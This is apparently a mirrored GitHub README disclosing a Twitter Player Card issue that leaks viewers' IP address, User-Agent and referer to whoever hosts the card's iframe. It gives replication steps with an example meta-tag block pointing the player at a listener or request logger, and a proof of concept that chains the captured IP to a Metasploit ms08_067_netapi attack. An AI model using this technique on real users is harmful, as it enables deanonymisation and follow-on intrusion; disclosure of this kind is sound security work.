Giter VIP home page Giter VIP logo

twitter-card-backdoor's Introduction

Twitter Card Backdoor

Summary

Twitter allows the embedding of videos in a tweet via Player Cards. The problem is in the playing method of the video: currently, it uses a sandbox (iframe) to play the embedded video(s) even when this might be protected against Cross-site scripting (XSS), still being unsafe because it doesn't protect HTTP Request Sender information such as the IP Address, User-Agent, and the referer.

A lot of Twitter users used to use a VPN to keep these safe from Twitter himself, will they agreed to share them with 3rd-part and this 3rd-part could be anyone

The attacker can embed a link to a request logger or can listen to connections in order to get the IP address of the video viewer.

Replication Steps

Step 1: Adding the pertinent Twitter meta tags to your page

You need to add some Twitter specific meta tags to your page to enable Twitter Player Cards.

Name Content
twitter:card Type of Twitter card; Must be set to a value of “player”
twitter:title The title of your content as it should appear in the card
twitter:site The Twitter @username the card should be attributed to
twitter:description Description of the content (optional)
twitter:player Listener or Request Logger URL Must be HTTPS URL
twitter:player:width Width of IFRAME specified in twitter:player in pixels
twitter:player:height Height of IFRAME specified in twitter:player in pixels
twitter:image Image to be displayed in place of the player on platforms that don’t support iframes or inline players; you should make this image the same dimensions as your player

Here is a example with a listener in 192.168.1.1:2020:

<meta name="twitter:card" content="player" />
<meta name="twitter:title" content="Twitter cards vulnerability" />
<meta name="twitter:description" content="Twitter cards vulnerability allows to get the video viewer IP, Listen to 192.168.1.1:2020 on your machine then play the video you will be surprised" />
<meta name="twitter:player" content="https://192.168.1.1:2020" />
<meta name="twitter:player:width" content="360" />
<meta name="twitter:player:height" content="203" />
<meta name="twitter:image" content="https://upload.wikimedia.org/wikipedia/de/thumb/9/9f/Twitter_bird_logo_2012.svg/154px-Twitter_bird_logo_2012.svg.png" />

Step 2: Launch your page


Step 3: Validate your card using the Twitter Validator Tool:

Once you have added the meta tags and published the page, copy and paste the URL into the Twitter Card Validator and then click Preview Card.

F156985


Step 4: Request approval for whitelisting

If your domain has not been whitelisted by Twitter, the Player Cards will not appear. When validating the URL, a message will appear stating that the URL has not been whitelisted.

Click Request Approval to begin the approval process. You will be required to provide additional information about your domain. For more information on the approval process, see the Twitter documentation.

F156986


Step 5: Share it on twitter

When the embedded video is played you might received the viewer(s) IP (I suggest to use a request logger) .

F156990

Proof of Concept

I made a video as a proof of concept, testing the vulnerability on a Virtual Machine running on WINXP SP2 (Computer B). The source code can be found at poc.html

I've hosted the page on a server, shared it on twitter and then played the embedded video in the the Virtual Machine. Eventually I got B's ip address. by listening to in the port 2020 coming from Computer A to then attack Computer B with metasploit's ms08_067_netapi exploit gaining access to Computer A. You can find the video here.

twitter-card-backdoor's People

Contributors

agucova avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.